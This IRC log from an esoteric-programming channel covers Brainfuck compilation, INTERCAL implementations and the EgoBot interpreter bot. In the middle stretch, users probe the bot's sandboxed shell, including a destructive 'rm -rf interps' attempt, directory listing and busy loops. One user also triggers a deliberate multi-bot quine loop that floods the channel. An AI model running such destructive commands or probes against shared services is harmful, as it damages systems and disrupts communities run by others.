macro for multibyte addition, though.) 18:57:38 I use my new favourite technique for compiling ABI 18:57:46 which is to compile a language into itself 18:57:55 ABI, therefore, is compiled into lower-level ABI 18:58:02 until it's at a low enough level to automatically convert into BF 18:58:05 http://esolangs.org/wiki/Ans smells like sadol 18:58:19 towards the end, it's mostly full of loloop and tadd2 instructions 18:58:31 * GregorR reappears. 18:58:33 (loloop = [], tadd2 = [>+>+<<-]) 18:58:53 ais523: That, amusingly, is how PEBBLE is implemented. 18:59:03 it's the main way to implement such langs 18:59:08 lol-loop? 18:59:13 low overhead loop 18:59:16 it's a gcc internal term 18:59:26 for a sort of loop that doesn't require the overhead of a full goto 18:59:39 Each pass of the compiler just does a few operations on the code, and sends newly generated code on down. 18:59:43 OTOH, gcc wasn't designed for a distance between a loloop and a conditional goto quite as big as gcc-bf has 19:00:14 Did anybody other than me ever write a MISC simulator? (I never released mine, because I'm an idiot) 19:00:52 One pass does macro evaluation, one does optimisation, one handles debugging output (basically just writing out *exactly* what instructions the compiler sees to generate stuff), and one finally does code generation. 19:01:18 MISC? 19:01:30 nooga: http://esoteric.voxelperfect.net/wiki/MISC 19:02:13 (well, code generation *or* just doing some crazy psuedo-Tcl shit to interpret it) 19:02:23 Awww, /me liked "Assembable" :( <-- huh. What is likable about that typo. 19:02:49 It sounds like baby-talk. 19:02:57 Only baby-talk of something that it's silly to talk to a baby about. 19:03:04 Assembly + babble 19:03:05 ah ok 19:03:24 OHHH WIDDLE PIDDLE POO, ITS ASSEMBABLE! WIDDLE ABI IS ASSEMBABLE! A DOOBLEDOOBLEDOOO 19:04:11 LMAO 19:04:36 That's especially funny if I imagine you actually saying that. ;) 19:05:06 I don't think you've heard enough of my voice to properly imagine that :P 19:05:42 GregorR: about !intercal, it might be easier for entry over IRC to include a version that used CLC-INTERCAL's C-INTERCAL emulation mode 19:05:50 which you can do by passing --preload=ick as a command-line option 19:05:54 Heard it a bit. 19:06:03 !info 19:06:03 EgoBot is a bot for running programs in esoteric programming languages. If you'd like to add support for your language to EgoBot, check out the source via mercurial at https://codu.org/projects/egobot/hg/ 19:06:10 --reloa=dick 19:06:11 That video with you describing how to build Dsss, for example? 19:06:14 pikhq: Hence my use of the term "enough" 19:06:19 Ah. 19:06:25 Well, I can still imagine it. 19:06:32 Probably not all that well, though. 19:06:35 And don't forget the kill yourself song :P 19:06:41 Ah, yes. 19:06:46 * pikhq <3 that song 19:07:06 * GregorR is a bit scared that in his backup discs he has a directory "laptop/brainfuck/linux-2.6.11.8" 19:07:17 ok, that is scary 19:07:24 I don't think gcc-bf can handle the Linux kernel yet, though 19:07:28 but wouldn't it be great if it could? 19:07:37 :P 19:07:51 GregorR: That's quite scary. 19:07:58 GregorR: about !intercal, it might be easier for entry over IRC to include a version that used CLC-INTERCAL's C-INTERCAL emulation mode 19:07:58 ym 19:08:00 um* 19:08:09 shouldn't that be !clc-intercal and !c-intercal 19:08:15 no 19:08:17 since they are so different 19:08:17 ais523: I doubt Linux would run without some massive work. 19:08:23 because it's still CLC-INTERCAL, just with C-INTERCAL emulation 19:08:40 pikhq: There's no I/O, so there's no purpose in running an OS :P 19:08:42 ais523, yes it should use real ick 19:08:44 No MMU, for example. 19:08:44 maybe !clc-intercal-atari or something would be closest to what's actually happening 19:08:54 GregorR: There's plenty of I/O. 19:08:56 stdio! 19:08:56 AnMaster: that would involve two compile stages 19:08:57 pikhq, uc-linux 19:08:58 ? 19:09:00 err 19:09:02 uclinux 19:09:02 even 19:09:04 AnMaster: Yeah. 19:09:10 ais523, and? 19:09:11 GregorR: Also, it could use PSOX. 19:09:14 !c does too 19:09:15 Does not compile. 19:09:15 first from INTERCAL to C, then from C to executable 19:09:19 it might be a pain to sandbox 19:09:27 ais523: Nah, that's easy to sandbox. 19:09:35 well, feel free to use C-INTERCAL too 19:09:41 ah two that way 19:09:41 although it demands files have filenames ending .i 19:09:48 I didn't reaaaaaaally want to have a whole family of intercals :P 19:09:50 so you'll have to use a symlink to /dev/stdin, that's what I do 19:09:52 GregorR, remember to pass -b 19:09:59 GregorR: there are only three 19:10:03 * GregorR 's brain explodes. 19:10:03 AnMaster: why? 19:10:06 ais523, CLCLC? 19:10:12 AnMaster: vaporware 19:10:20 ah right 19:11:51 GregorR: INTERCAL is rather nonstandard in operation, more or less by definition 19:11:58 so it tends to cause a lot of brain explosion 19:12:13 What does -b do? 19:12:19 removes the random compiler bug 19:12:42 but really, a 10% chance of the program erroring out at random really isn't that bad for an IRC bot 19:13:34 Oh right, I recall that. 19:13:36 The bugfeature. 19:13:45 ais523, any idea when in May wolfram alpha will be released? 19:13:51 no 19:13:55 Bugfeature?!? 19:13:55 mhm 19:14:02 pikhq, yes 19:15:09 ais523, there are 4 aren't there. The original one too 19:15:19 source lost isn't it 19:15:23 there's both Princeton and Atari 19:15:29 Atari is probably source-lost 19:15:45 it's believed that there are still hardcopies of the Princeton compiler source lying around somewhere, though 19:15:45 * GregorR can't figure out how to make ick do anything X-D 19:15:55 GregorR: what are you trying? 19:16:05 Some code you pasted. 19:16:07 A SOURCE IS A SOURCE, OF COURSE, OF COURSE 19:16:13 GregorR: I mean, as the command line 19:16:13 DO READ OUT #130~#125 DO GIVE UP 19:16:17 ick -b foo.i 19:16:20 ./foo 19:16:20 Oh, ick -b foo.i 19:16:21 Yeah 19:16:22 basically 19:16:36 well you don't need -b of course 19:16:47 bear in mind that ick invokes system to run a C compiler 19:16:52 Clearly I need something, as it doesn't read :P 19:16:56 so you need to give it a process limit of 2, or do it separately 19:17:05 err more than 2 19:17:09 you're right 19:17:09 since GCC calls other ones 19:17:10 ICL999I NO SKELETON IN MY CLOSET, WOE IS ME! ON THE WAY TO 1 CORRECT SOURCE AND RESUBNIT 19:17:10 iirc 19:17:12 gcc uses lots of processes 19:17:17 GregorR: what version are you using? 19:17:25 the no skeleton indicates a bad install 19:17:36 but more recent versions make that harder and harder to mess up 19:17:46 That's because I didn't install, I'm running it in place :P 19:17:56 well 19:17:59 oh, more recent versions should run in place, too 19:18:05 there's a lot of dwimmery in finding the skeleton 19:18:08 I'm running 0.-2.0.29 19:18:14 it looks everywhere plausible it can think of 19:18:25 argv[0]'s path, argv[0]/../lib, etc 19:18:35 try dumping pit/lib/syslib.i and src/ick-wrap.c into the current directory 19:18:39 Nope, needed to be installed 19:18:42 Now I get 19:18:43 ICL000I DO READ OUT #130~#125 19:18:43 ON THE WAY TO 2 19:18:43 CORRECT SOURCE AND RESUBNIT 19:18:53 what 19:18:54 Which is probably correct X-P 19:18:58 yes, it is 19:19:01 there was a bug in my program 19:19:02 what is 00001 19:19:05 err 19:19:09 0001* 19:19:14 try DO .1 <- #130~#125 DO READ OUT .1 PLEASE GIVE UP 19:19:20 isn't it internal compiler error 19:19:26 no, 000 is syntax error 19:19:30 ah 19:19:36 ais523, where is the funny message 19:19:47 the funny message is the line that errored 19:19:52 writing amusing syntax errors is encouraged 19:20:29 like the famous PLEASE KNOCK BEFORE ENTERING at the start of syslib 19:20:45 OK, got it working. 19:20:47 On its way up. 19:20:57 !help 19:20:57 Supported commands: addinterp bf_txtgen daemon daemons delinterp help info kill userinterps 1l 2l adjust asm axo bch befunge befunge98 better_hello bf bf16 bf32 bf8 bfbignum c cxx dimensifuck echo forth glass glypho hello intercal kipple lambda lazyk linguine malbolge pbrain perl qbf rail rhotor sadol sceql sh test trigger udage01 underload unlambda whirl 19:21:02 Hai. 19:21:04 not there yet, obviously 19:21:07 * ais523 is impatient 19:21:07 btw I will accept patch for TRDS to cfunge. Under three conditions: 1) No slowdown for programs not using it. 2) No increase in memory usage for programs not using it. 3) No mess up in the core code of cfunge. 19:21:08 ;P 19:21:14 well the third one 19:21:19 should be: 19:21:20 You can't do 1) 19:21:23 "no *big* messup" 19:21:27 Or well, yes you can 19:21:31 Deewiant, then I won't implement it. Simply 19:21:32 But then you need to open the file again 19:21:50 does TRDS work retrospectively, from before you loaded the fingerprint? 19:21:52 And it might have disappeared in the meantime, so it's not very robust 19:21:52 Which should it run when you type !intercal ? 19:21:53 (Or should that just be invalid) 19:21:59 or accept a patch for it either. Well I could accept a patch to build both cfunge and cfunge.trds 19:22:04 ais523: You need to keep a copy of the initial funge-space to be able to roll back time 19:22:12 ais523: By default, you can just overwrite it as you run. 19:22:14 GregorR: may as well make it invalid, C-INTERCAL is more popular but that's just bias 19:22:28 Deewiant, no increase in memory usage also includes "not a single byte added to ip struct" 19:22:30 and so on 19:22:36 C-INTERCAL's a lot faster, so that might help for simple programs; OTOH gcc's rather slow, so it might hinder 19:22:47 pastie.org/private/j5veaiikl1x8vtwm0ov2ta 19:22:48 er 19:22:49 20:54:46 so far i got hello world program almost optimized: http://pastie.org/private/j5veaiikl1x8vtwm0ov2ta . hehe. 19:22:53 oh my god have my babies :| 19:23:00 which lang/ 19:23:02 *? 19:23:09 Deewiant, only the extra memory from the extra code itself is allowed 19:23:19 AnMaster: I think at least one global array for "TRDS IP data" would be required 19:23:29 you could use malloc on first load 19:23:32 ais523: err, look at the paste 19:23:34 Your TRDS impl would be butt-slow under those conditions, though :-P 19:23:35 Deewiant, one pointer. 19:23:36 -DICK_HAVE_STDINT_H=1 19:23:36 python 19:23:40 static one. 19:23:44 ehird: but how do I know it isn't an ascii art rickroll? 19:23:44 add ruby 19:23:45 Deewiant, oh that wouldn't be allowed either. 19:23:48 GregorR: Dicks have stds. 19:23:49 OK, it's installed. 19:23:55 ais523: Your loss. 19:23:55 ehird: Integral STDs. 19:23:56 Deewiant, so not an option then :) 19:24:05 ais523: Here's the juice: 19:24:05 Meh, you're no fun 19:24:06 mptr[0] = 0; 19:24:07 mptr[1] = 87; 19:24:08 mptr[2] = 100; 19:24:09 also, haha at that program (I did look at it) 19:24:10 mptr[3] = 33; 19:24:12 mptr[4] = 10; 19:24:14 !help 19:24:14 Supported commands: addinterp bf_txtgen daemon daemons delinterp help info kill userinterps 1l 2l adjust asm axo bch befunge befunge98 better_hello bf bf16 bf32 bf8 bfbignum c c-intercal clc-intercal cxx dimensifuck echo forth glass glypho hello kipple lambda lazyk linguine malbolge pbrain perl qbf rail rhotor sadol sceql sh test trigger udage01 underload unlambda whirl 19:24:15 printf("Hello World!\n"); 19:24:17 ais523: Compiled from BF 19:24:18 and ah 19:24:20 20:54:46 so far i got hello world program almost optimized: http://pastie.org/private/j5veaiikl1x8vtwm0ov2ta . hehe. 19:24:20 ais523: it isn't a special caser 19:24:22 that 19:24:23 ais523: it really optimizes it to that 19:24:24 is cool 19:24:28 yep 19:24:30 now I have to beat it 19:24:32 ehird: yes, presumably it's constant-folding prints? 19:24:38 ais523: also polynomials I think 19:24:46 ehird, got a link to download 19:24:47 ? 19:24:49 I can beat it by recognizing that those cells's values aren't used anywhere else 19:24:50 AnMaster: no 19:24:53 but yeah, I can get 19:24:56 printf("Hello World!\n"); 19:24:58 I'm pretty sure 19:25:07 char mem[30000], *mptr = mem; ← No segfault-handler-to-resize-tape fail :-) 19:25:12 I can beat it by recognizing that those cells's values aren't used anywhere else 19:25:13 well 19:25:18 he could add that too 19:25:19 trivially 19:25:28 sure. 19:25:33 but will he get bored first? 19:25:37 Not if it's on the stack, you won't have a segfault if you step /barely/ over. 19:25:49 GregorR: mprotect, mmap 19:25:50 YO. 19:25:55 ehird, once he add that there is nothing more to add. Well he can see "char mem[30000], *mptr = mem;" isn't needed either. 19:25:59 and remove that 19:26:01 Hence "not _IF IT'S ON THE STACK_" 19:26:05 AnMaster: nothing more to add for that program 19:26:08 but I can beat it on others 19:26:21 GregorR, about what 19:26:22 !c-intercal (1) DO .1 <- #?6 DOING DETECTION... YOU ARE USING INTERCAL-72 (5) PLEASE COME FROM (1) DOING DETECTION... YOU ARE USING C-INTERCAL PLEASE COME FROM .1 DOING DETECTION... YOU ARE USING CLC-INTERCAL 19:26:25 ehird, yes. 19:26:41 !clc-intercal (1) DO .1 <- #?6 DOING DETECTION... YOU ARE USING INTERCAL-72 (5) PLEASE COME FROM (1) DOING DETECTION... YOU ARE USING C-INTERCAL PLEASE COME FROM .1 DOING DETECTION... YOU ARE USING CLC-INTERCAL 19:26:43 -!- KingOfKarlsruhe has quit (Remote closed the connection). 19:26:48 ais523: !cintercal, not c-intercal, I'd guess 19:26:51 he doesn't have any -s in others 19:26:52 !Help 19:26:53 !cintercal BUTT! 19:26:55 !help 19:26:55 !help 19:26:55 Supported commands: addinterp bf_txtgen daemon daemons delinterp help info kill userinterps 1l 2l adjust asm axo bch befunge befunge98 better_hello bf bf16 bf32 bf8 bfbignum c c-intercal clc-intercal cxx dimensifuck echo forth glass glypho hello kipple lambda lazyk linguine malbolge pbrain perl qbf rail rhotor sadol sceql sh test trigger udage01 underload unlambda whirl 19:26:56 Supported commands: addinterp bf_txtgen daemon daemons delinterp help info kill userinterps 1l 2l adjust asm axo bch befunge befunge98 better_hello bf bf16 bf32 bf8 bfbignum c c-intercal clc-intercal cxx dimensifuck echo forth glass glypho hello kipple lambda lazyk linguine malbolge pbrain perl qbf rail rhotor sadol sceql sh test trigger udage01 underload unlambda whirl 19:26:56 Oh sh** 19:26:58 Hahahah 19:27:03 It doesn't support commands with - in them. 19:27:04 GregorR: Wat? 19:27:06 So those don't work :P 19:27:11 *fixy* 19:27:12 Well typing - is a pain make it cintercal 19:27:14 ehird: GregorR added it with - but - doesn't work 19:27:22 Well typing - is a pain make it cintercal 19:27:23 how 19:27:29 cuz i said yo 19:27:30 Now try :P 19:27:30 so 19:27:31 your keyboard layout sucks then 19:27:32 :P 19:27:33 (With !cintercal) 19:27:34 !help 19:27:34 Supported commands: addinterp bf_txtgen daemon daemons delinterp help info kill userinterps 1l 2l adjust asm axo bch befunge befunge98 better_hello bf bf16 bf32 bf8 bfbignum c cintercal clcintercal cxx dimensifuck echo forth glass glypho hello kipple lambda lazyk linguine malbolge pbrain perl qbf rail rhotor sadol sceql sh test trigger udage01 underload unlambda whirl 19:27:35 nope, I'm just lazy 19:27:37 !cintercal AN BUTT! 19:27:38 ICL129IPROGRAM HAS GOTTEN LOST 19:27:41 !clcintercal (1) DO .1 <- #?6 DOING DETECTION... YOU ARE USING INTERCAL-72 (5) PLEASE COME FROM (1) DOING DETECTION... YOU ARE USING C-INTERCAL PLEASE COME FROM .1 DOING DETECTION... YOU ARE USING CLC-INTERCAL 19:27:42 ugh 19:27:43 !cintercal (1) DO .1 <- #?6 DOING DETECTION... YOU ARE USING INTERCAL-72 (5) PLEASE COME FROM (1) DOING DETECTION... YOU ARE USING C-INTERCAL PLEASE COME FROM .1 DOING DETECTION... YOU ARE USING CLC-INTERCAL 19:27:43 it still /msg's 19:27:45 ICL000I(1) DO .1 <- #?6 DOING DETECTION... YOU ARE USING INTERCAL-72 (5) PLEASE COME FROM (1) DOING DETECTION... YOU ARE USING C-INTERCAL PLEASE COME FROM .1 DOING DETECTION... YOU ARE USING CLC-INTERCAL 19:27:48 *997 Illegal operator 1BUT for base 2 19:27:50 f that 19:28:01 oh, that program was TriINTERCAL 19:28:04 yay for not spamming channel more than that 19:28:06 no wonder it isn't running correctly 19:28:12 !clc-intercal (1) DO .1 <- #?6 DOING DETECTION... YOU ARE USING INTERCAL-72 (5) PLEASE COME FROM (1) DOING DETECTION... YOU ARE USING C-INTERCAL PLEASE COME FROM .1 DOING DETECTION... YOU ARE USING CLC-INTERCAL 19:28:18 !cintercal (1) DO .1 <- #?6 DOING DETECTION... YOU ARE USING INTERCAL-72 (5) PLEASE COME FROM (1) DOING DETECTION... YOU ARE USING C-INTERCAL PLEASE COME FROM .1 DOING DETECTION... YOU ARE USING CLC-INTERCAL 19:28:20 ICL000I(1) DO .1 <- #?6 DOING DETECTION... YOU ARE USING INTERCAL-72 (5) PLEASE COME FROM (1) DOING DETECTION... YOU ARE USING C-INTERCAL PLEASE COME FROM .1 DOING DETECTION... YOU ARE USING CLC-INTERCAL 19:28:23 !clcintercal (1) DO .1 <- #?6 DOING DETECTION... YOU ARE USING INTERCAL-72 (5) PLEASE COME FROM (1) DOING DETECTION... YOU ARE USING C-INTERCAL PLEASE COME FROM .1 DOING DETECTION... YOU ARE USING CLC-INTERCAL 19:28:29 *997 Illegal operator 1BUT for base 2 19:28:31 ah 19:28:38 that is the tri one 19:30:25 !sh echo '>+[->++++<]>[<+>-]<[->+++++++++<]>[<+>-]<[->+++<]>[<+>-]<[<+>-]<.>+[->+++<]>[<+>-]<[<+>-]<.>+[->+++<]>[<+>-]<[<->-]<.>+[->+++++++<]>[<+>-]<[->+++++++<]>[<+>-]<[->++<]>[<+>-]<[<->-]<.>' | ./interps/egobf/src/egobfi8 19:30:26 lol 19:30:29 !cintercal PLEASE DON'T GIVE UP 19:30:30 ICL774IRANDOM COMPILER BUG 19:30:35 ah 19:30:36 !cintercal PLEASE DON'T GIVE UP 19:30:37 ICL129IPROGRAM HAS GOTTEN LOST 19:30:52 !sh rm -rf interps 19:30:53 /bin/rm: cannot remove `interps': Function not implemented 19:30:59 !sh ls 19:30:59 Makefile 19:31:03 !cintercal (1) PLEASE DON'T GIVE UP 19:31:04 ICL129IPROGRAM HAS GOTTEN LOST 19:31:09 !sh ./daemon.sh 19:31:09 2009/05/03 18:31:09 socat[4711] E sendto(4, 0x7f8caae11080, 48, 0, AF=1 "/tmp/multibot.EgoBot", 22): No such file or directory 19:31:12 MWAHAHAHAHA 19:31:13 !sh pwd 19:31:13 /home/egobot/egobot.hg/multibot_cmds 19:31:13 Darn 19:31:20 AnMaster: that error happens when you run off the end of a program 19:31:20 !sh ./PRIVMSG 19:31:21 /tmp/input.4757: line 1: ./PRIVMSG: is a directory 19:31:25 !sh ls daemons 19:31:26 daemon.sh 19:31:31 !sh daemons/daemon.sh 19:31:32 2009/05/03 18:31:31 socat[4816] E sendto(4, 0x7f17c9323080, 48, 0, AF=1 "/tmp/multibot.EgoBot", 22): No such file or directory 19:31:32 ais523, isn't DON'T GIVE UP for the loop thing 19:31:35 or did I misremember 19:31:38 AnMaster: no, it's a no-op 19:31:40 !sh daemons/fifowrap 19:31:41 /tmp/input.4839: line 1: daemons/fifowrap: No such file or directory 19:31:44 !sh ./fifowrap 19:31:44 /tmp/input.4866: line 1: ./fifowrap: is a directory 19:31:55 ais523, what is the one to loop forever 19:31:56 if you want an infinite loop, try either (1) DO COME FROM (1) or DO TRY AGAIN 19:32:07 or (1) DO (1) NEXT if you don't mind running out of stack space 19:32:07 !sh ls | xargs echo 19:32:07 interps lib slox 19:32:13 Nyaa 19:32:30 !sh ls -R | xargs 19:32:31 .: interps lib slox ./interps: 1l 2l Makefile Makefile.orig adjust axo befunge bf_txtgen c-intercal cat cfunge clc-intercal dimensifuck egobch egobf gcccomp gforth_quit glass glypho kipple lambda lazyk linguine malbolge pbrain qbf rail rhotor sadol sceql trigger udage01 underload unlambda whirl ./interps/1l: 1l_a.bin 1l_a.c ./interps/2l: 2lc.c 2li.bin 2li.c Makefile README conv.sh ./interps/adjust: USED_VERSION adjust.bin adjust.c ./interps/axo: axopp 19:32:34 !s ls daemons/daemon.sh 19:32:36 !sh ls daemons/daemon.sh 19:32:37 /bin/ls: cannot access daemons/daemon.sh: No such file or directory 19:32:55 !sh sh 19:33:08 !sh while true; do : done 19:33:09 /tmp/input.5015: line 2: syntax error: unexpected end of file 19:33:13 !sh while true; do :; done 19:33:22 busyloop 19:33:30 !befunge98 19:33:32 AnMaster: what's the point of writing busyloops? they get throttled, and are killed after 30 seconds 19:33:44 !underload (Look, I run despite all this load!)S 19:33:45 Look, I run despite all this load! 19:33:56 i'd like to note that "cd" does not always cd to ~ 19:34:02 ais523, are they limited to a per-process or a per-egobot limit 19:34:04 if you see what I mean 19:34:10 ehird, oh 19:34:18 !sh pwd 19:34:19 /home/egobot/egobot.hg/multibot_cmds 19:34:22 !sh cd; pwd 19:34:22 /home/egobot 19:34:23 "I'll limit you to a per-process or a per-egobot limit, if you see what I mean." 19:34:30 AnMaster: No, I discovered this locally. 19:34:37 !underload ((!underload )SaS(:^)S):^ 19:34:37 If you're in a directory that doesn't exist, "cd" does nothing 19:34:37 !underload ((!underload )SaS(:^)S):^ 19:34:40 "I'll limit you to a per-process or a per-egobot limit, if you see what I mean." 19:34:41 err 19:34:43 what 19:34:53 I mean 19:35:02 will enough limited processes clog things up 19:35:28 -!- puzzlet has quit (Remote closed the connection). 19:35:31 -!- puzzlet has joined. 19:35:37 as in, each one get an equal amount from a max. Or each one has a fixed limit 19:35:42 so more ones add up 19:35:45 GregorR, ^ 19:35:59 More ones do add up. 19:36:23 Again, this is more about preventing mistakes from killing things than stopping malicious users from being asshats. 19:36:27 GregorR, so if you limit each to 10%, then two running processes will use 20%? 19:36:36 Roughly speaking. 19:36:57 yes roughly ofc... 19:37:50 ^ul (+ul (!underload (a(!underload )~*(:^)*a(+ul )~*(S)*a(^ul )~*(S)*S):^)S)S 19:37:50 +ul (!underload (a(!underload )~*(:^)*a(+ul )~*(S)*a(^ul )~*(S)*S):^)S 19:37:50 !underload (a(!underload )~*(:^)*a(+ul )~*(S)*a(^ul )~*(S)*S):^ 19:37:51 ^ul (+ul (!underload (a(!underload )~*(:^)*a(+ul )~*(S)*a(^ul )~*(S)*S):^)S)S 19:37:51 +ul (!underload (a(!underload )~*(:^)*a(+ul )~*(S)*a(^ul )~*(S)*S):^)S 19:37:51 !underload (a(!underload )~*(:^)*a(+ul )~*(S)*a(^ul )~*(S)*S):^ 19:37:51 ^ul (+ul (!underload (a(!underload )~*(:^)*a(+ul )~*(S)*a(^ul )~*(S)*S):^)S)S 19:37:51 +ul (!underload (a(!underload )~*(:^)*a(+ul )~*(S)*a(^ul )~*(S)*S):^)S 19:37:52 !underload (a(!underload )~*(:^)*a(+ul )~*(S)*a(^ul )~*(S)*S):^ 19:37:52 ^ul (+ul (!underload (a(!underload )~*(:^)*a(+ul )~*(S)*a(^ul )~*(S)*S):^)S)S 19:37:52 +ul (!underload (a(!underload )~*(:^)*a(+ul )~*(S)*a(^ul )~*(S)*S):^)S 19:37:52 !underload (a(!underload )~*(:^)*a(+ul )~*(S)*a(^ul )~*(S)*S):^ 19:37:53 ^ul (+ul (!underload (a(!underload )~*(:^)*a(+ul )~*(S)*a(^ul )~*(S)*S):^)S)S 19:37:53 +ul (!underload (a(!underload )~*(:^)*a(+ul )~*(S)*a(^ul )~*(S)*S):^)S 19:37:53 !underload (a(!underload )~*(:^)*a(+ul )~*(S)*a(^ul )~*(S)*S):^ 19:37:53 ^ul (+ul (!underload (a(!underload )~*(:^)*a(+ul )~*(S)*a(^ul )~*(S)*S):^)S)S 19:37:53 +ul (!underload (a(!underload )~*(:^)*a(+ul )~*(S)*a(^ul )~*(S)*S):^)S 19:37:54 !underload (a(!underload )~*(:^)*a(+ul )~*(S)*a(^ul )~*(S)*S):^ 19:37:54 ^ul (+ul (!underload (a(!underload )~*(:^)*a(+ul )~*(S)*a(^ul )~*(S)*S):^)S)S 19:37:54 +ul (!underload (a(!underload )~*(:^)*a(+ul )~*(S)*a(^ul )~*(S)*S):^)S 19:37:54 +quit 19:37:54 !underload (a(!underload )~*(:^)*a(+ul )~*(S)*a(^ul )~*(S)*S):^ 19:37:55 -!- thutubot has quit ("ThutuBot quitting"). 19:37:58 Argh 19:38:11 sorry, I'm just such a botloop fan... 19:38:20 Plz no iterating quines kthxbai 19:38:26 ais523: He did just call doing that a mark of an asshat. 19:38:32 ais523, was that three after each other 19:38:34 hm 19:38:35 (Not a gripe, nothing wrong with hats on butts.) 19:38:39 well, I ended the loop pretty quickly 19:38:50 and I was only running one process at a time on each bot 19:38:55 fizzie, please ignore thutubot and EgoBot in fungot 19:38:55 AnMaster: ' i've sent them all!' 19:39:01 ^style 19:39:01 Available: agora alice* darwin discworld europarl ff7 fisher ic irc jargon lovecraft nethack pa speeches ss wp 19:39:05 AnMaster: that's not the solution 19:39:06 right 19:39:09 Wait, that was a three-bot loop? lawl X-P 19:39:12 ais523, no? 19:39:22 because you could still do EgoBot/thutubot 19:39:26 and what if a fourth bot turned up? 19:39:27 well 19:39:33 % mkdir ~/Code/debfenestrate 19:39:35 the solution's to ignore repeated identical queries 19:39:37 GregorR: run EgoBot in an EgoBot deamon running EgoBot running EgoBot 19:39:38 ais523, make thutubot ignore EgoBot 19:39:39 ! 19:39:42 hmm that should be reserved for a .deb -fenestrator 19:39:47 AnMaster: bots ignoring bots are evil. 19:39:50 ehird: oh, what is it? 19:39:58 ehird, I disagree 19:39:58 this is a social problem, not a technical one 19:40:00 I assumed it was something to do with .debs 19:40:03 ais523: de-bf-enestrate 19:40:10 ehird, go use ITS! 19:40:10 this is a social problem, not a technical one // agree 19:40:14 instead of OS X or Linux 19:40:23 AnMaster: Yeah, um, that's completely irrelevant. 19:40:32 ehird, not really 19:40:37 No, no, it really is. 19:40:38 who's xor? 19:40:42 xororand with a shorter name? 19:40:42 ais523: bsmnt 19:40:42 anyway some troll could do what ais523 just did 19:40:45 ah 19:40:56 AnMaster: trolls don't bother us and when they do we ban them or ignore them. 19:40:58 nobody cares 19:40:59 anyway, I like botloops, it's just nice when they come to an end 19:41:03 a troll could bring their own two bots in 19:41:05 and do it there 19:41:07 I should write a terminating three-bot iterating loop, involving arithmetic 19:41:15 Ow :P 19:41:17 ais523, was just about to suggest that 19:41:28 22:19:38 !perl $_ = "wftedskaebjgdpjgidbsmnjgc"; tr/a-z/oh, turtleneck Phrase Jar!/; print; 19:41:29 22:19:38 Just another Perl hacker, 19:41:31 22:24:27 (If perl isn't an esolang, I don't know what is ;) ) 19:41:33 nothing esoteric about that 19:41:33 !c printf("EgoBot is the greatest of the bots. All other bots are subservient.") 19:41:34 EgoBot is the greatest of the bots. All other bots are subservient. 19:41:35 it's just "tr" 19:41:52 -!- thutubot has joined. 19:41:54 % tr 'a-z' 'oh, turtleneck Phrase Jar!' 19:41:54 wftedskaebjgdpjgidbsmnjgc 19:41:56 Just another Perl hacker, 19:42:06 !daemon stupidcat bf ,[.,] 19:42:06 Daemon stupidcat running. 19:42:12 !stupidcat meow 19:42:13 meow 19:42:18 !kill stupidcat 19:42:19 Daemon stupidcat killed. 19:42:22 :-( 19:42:24 Somebody find a use for daemons :P 19:42:26 You killed a kitten. 19:42:28 Fuck you. :-( 19:42:29 ^ul (fungot is greater than EgoBot)S 19:42:29 fungot is greater than EgoBot 19:42:35 ^ignore ^(thutubot|EgoBot) 19:42:35 OK. 19:42:39 ehird: Every time you kill a kitten, God masturbates. 19:42:43 ^ignore fizzie 19:42:44 :-D 19:42:51 GregorR, how long do daemons run 19:42:55 ^ignore .* 19:42:57 GregorR, and can they keep state 19:42:58 AnMaster: Indefinitely. 19:43:05 AnMaster: That's the whole idea. 19:43:05 !daemon lol +[>+] 19:43:06 Invalid interpreter! 19:43:07 fizzie: pity, I was planning to write a terminating 3-way botloop then 19:43:09 !daemon lol bf +[>+] 19:43:09 Daemon lol running. 19:43:10 !lol lol 19:43:11 GregorR, how do they keep the state. 19:43:14 I mean 19:43:26 AnMaster: They're an actual daemon, they just run. 19:43:31 and how do you write a daemon in another language than bf 19:43:32 ... 19:43:33 ehird: They are still memory limited :P 19:43:35 like befunge 19:43:43 !help daemon 19:43:43 daemon: !daemon . Add a daemon to EgoBot. A daemon will run in the background, and accept a line of input every time ! is run. Note that daemons are only allotted one line of output for each line of input. 19:43:45 "daemon lol bf" 19:43:50 what the heck do you think 19:43:52 do you think bf means 19:43:53 BEST FRIENDS 19:43:57 didn't see it 19:45:00 !daemon AARGH! befunge98 'Aaa*k: aa*k, a, n 19:45:00 Daemon AARGH_ running. 19:45:05 hm? 19:45:08 GregorR, what 19:45:16 !AARGH_ test 19:45:17 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 19:45:21 AnMaster: Names are whitelisted to A-Za-z0-9 19:45:26 !daemon accumulate bf >+[[,----------]++++++++++++++++++++++[<]>[.>]+] 19:45:26 Daemon accumulate running. 19:45:30 !accumulate test1 19:45:36 !accumulate test2 19:45:39 GregorR, but how comes it doesn't continue to spam in /msg 19:45:42 !undaemon accumulate 19:45:45 !kill AARGH_ 19:45:46 !kill accumulate 19:45:46 Daemon AARGH_ killed. 19:45:46 PRIVMSG #esoteric :Daemon accumulate killed. 19:45:53 -!- puzzlet has quit (Read error: 60 (Operation timed out)). 19:45:55 hmm, that was weird 19:45:59 ais523, what 19:46:06 the PRIVMSG showing up like that 19:46:10 EgoBot must have written it twice 19:46:11 Uhhhhhhhhhhhhhhhhhh 19:46:17 That's not good ... 19:46:31 Oh, actually, I know why it happened. 19:46:36 oh 19:46:37 details 19:46:45 Because accumulate never created any output, it still had PRIVMSG #esoteric : on the buffer. 19:46:54 So it just appended another one to that :P 19:46:54 oh 19:46:57 Bweheheh. 19:47:01 Maybe I should just make fungot so that it doesn't accept more than N consecutive queries from any one person; that's the way it currently does stop chatter-loops. 19:47:02 fizzie: " taking three as the subject of our proposition is to be fnord from pride, they treat a phantom as something quite beneath contempt just as no turkey ever fnord of noticing a fnord. 19:47:06 !daemon accumulate bf >+[[,----------]++++++++++++++++++++++[<]>[++++++++++.----------->]++++++++++.] 19:47:07 Daemon accumulate running. 19:47:10 !accumulate test1 19:47:10 19:47:19 !accumulate test1 19:47:19 19:47:19 fizzie, no :( 19:47:22 Exciting. 19:47:23 !kill accumulate 19:47:24 Daemon accumulate killed. 19:47:29 fizzie, that is not nice 19:47:29 still borken, I think... 19:47:42 fizzie, better make it check for duplicate ones. From same person 19:47:44 -!- puzzlet has joined. 19:48:13 fizzie, and you could get around it with three bots easily, Less easy with "same message" / per person check 19:48:16 !daemon accumulate bf >+>+[<[>,----------]++++++++++++++++++++++[<]>[++++++++++.----------->]++++++++++.] 